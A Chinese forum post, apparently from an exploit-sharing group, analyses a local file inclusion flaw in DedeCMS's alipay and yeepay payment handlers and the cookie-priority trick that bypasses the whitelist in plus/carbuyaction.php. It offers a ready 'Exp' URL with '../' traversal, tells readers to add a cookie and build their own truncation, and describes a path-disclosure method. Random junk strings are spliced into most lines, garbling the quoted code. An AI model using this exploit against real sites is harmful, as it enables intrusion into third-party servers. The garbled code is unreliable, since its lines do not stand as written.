晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)1 D* M( y ], i0 N
9 [4 l, t) G( [+ `, i出现漏洞的两个文件为:( C% N8 j- _/ I4 D- S, `1 N
Include/payment/alipay.php
9 a! I# q* C2 GInclude/payment/yeepay.php
, R2 X6 Y* x+ S- w B9 U' k" @漏洞均出现在respond方法里,估计这两个文件是临时工写的。* A# v4 Z q) a& V0 M6 o; h4 z/ S
2 l6 D' V, P* YInclude/payment/alipay.php
! F8 ?' X8 c, y- D6 o
0 ~7 ^/ v7 z0 a% Z8 D2 J......
+ A6 l" r8 _ E1 a8 t function respond()
6 s# N4 Q' }8 d1 ^! N {
/ U# P5 V) A: A$ D+ Q1 a4 f0 e! y7 \ if (!empty($_POST))
5 W1 s, {" q7 h {
1 S3 s/ |7 K2 e foreach($_POST as $key => $data)' ^: r( Y% l0 M+ m2 R
{
+ s }, _" i+ B6 f! `6 r% ` $_GET[$key] = $data;
A% w- g" i9 e! Z# \ }
0 T. `) j# f( `# S }
% S# p7 U( t0 X( e" v7 y5 J- k /* 引入配置文件 */
4 m0 i; D- J0 k# i; C! {8 h8 g3 G require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';$ f$ P$ L% O, r1 O, O
...... ^/ n( r6 p6 ]1 t5 u& ? p
) f# e1 V. l- A$ ~- E6 R: c: w6 ]
0 M' Q+ C) y( Z9 D" ?: R8 D大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
* {( a% w9 a; Z) ~1 y9 @ l; c9 K. n) p* f0 Z
Include/payment/yeepay.php9 |# a9 m6 p9 h+ [; \1 z
. q+ Y& t' ~* [
1 D( j8 E$ S G) f# G% D, A# @
2 X9 \! n8 n9 l2 y5 e' w* q
......% W: S- p4 Y) Y8 x3 ~5 ~" s* _. d7 ]) Q
function respond()/ l' H% O: [( Q1 _( X8 {: r$ q8 N$ O
{. m3 j" f0 J' s; q& a0 K1 A/ j
+ q+ T1 M) }' M& f/ c
/* 引入配置文件 */. B6 }) x6 A) d* R
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';. \: }" X' z% s
: K/ b/ j# z& |) ~; A
$p1_MerId = trim($payment['yp_account']);! D, {8 i& q( w: f' a2 ^
$merchantKey = trim($payment['yp_key']);
# \1 b" g/ i, Y, R1 w...... 6 J! F6 K* ?3 D; h1 F+ Z
" o& f! C1 l+ u* B" o$ y& P* [& D
2 C2 h. |, j$ O1 c) ?% q 2 O# J, z; L+ N/ ?
$ G" f+ B$ H, R" ?1 ~' r2 F
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
. I+ `( \# D8 K) R# t. z! c z5 S0 x- H* p! V7 r& u5 s& q
这两个方法在plus/carbuyaction.php文件调用。7 ]/ ], g2 N) B6 Z2 T
: \5 W, G, Y( ]6 L% S! D5 B, j
plus/carbuyaction.php
+ {. F3 Q, Y3 h. t) P# i
4 [' l6 I/ d. F" I- V5 {......; }/ Y' ~% e. `' }3 F* A6 {
} else if ($dopost == 'return') {' R5 N8 e% W3 U. a. Y6 A# d
$write_list = array('alipay', 'bank', 'cod', 'yeepay');% Z5 B% c8 J& t9 N. R
if (in_array($code, $write_list))7 P2 |% x( [7 ~' n$ ~- T5 c. [
{
4 j) e+ }$ s* H7 s require_once DEDEINC.'/payment/'.$code.'.php';2 U2 {# u: i& u4 o
$pay = new $code;# c/ f6 i0 E! \. F
$msg=$pay->respond();) o. x1 x0 K# X) i/ W$ b
ShowMsg($msg, "javascript:;", 0, 3000);- A7 n: A# q' b
exit();
" w2 o$ C0 b( @- \( ^' W } else {
% x6 t. c: R$ ^) z) N, n exit('Error:File Type Can\'t Recognized!');
" f( d3 z6 O4 ]& S: { }! r8 R0 [4 a: q5 K# h
}
/ X" Q2 b( n+ i. G* V......
8 Q; `6 P0 h9 @# P
' a9 o# O! Z7 X0 l1 F
) m5 h3 `0 b1 e# M. Q# F
* R* n* P/ ]1 T: R3 y% U( N- S2 ], i2 f& X6 T, \
) `5 ]0 U0 A1 a2 Y
1 ?) f4 V! r) o3 C5 `7 h大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
. O# {5 t! Q# c: j( u- x5 Q1 t% l所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
1 e. m& e! G7 a! j: M$ L
& y/ w* \, i- b+ s回到include/common.inc.php来看看他的机制。 M( @) W6 _! N# l5 n
' b, n X& h E1 {( b, k 2 w$ T. {$ E+ d1 ~3 S
0 |2 N2 e0 z0 p2 l2 A5 l......8 E; @" F6 m1 [. R# K, W2 w
foreach(Array('_GET','_POST','_COOKIE') as $_request)
1 v8 ~& n3 g/ E4 {{
, `3 b2 J+ V$ i7 X3 {$ L2 [ foreach($$_request as $_k => $_v)
6 a) v$ Q& O: r {; `' y }7 ~1 I
if($_k == 'nvarname') ${$_k} = $_v;) k# C8 H7 [% W. X- w' R
else ${$_k} = _RunMagicQuotes($_v);' @/ p+ m+ c6 W4 h9 \( F
}
. x# v( z: f0 [}4 H9 Q# N- l7 [$ ?5 a6 {8 v: A
......
6 r" ?0 A* y+ i2 h1 A' i大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:) O- O6 L S( ~# x
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |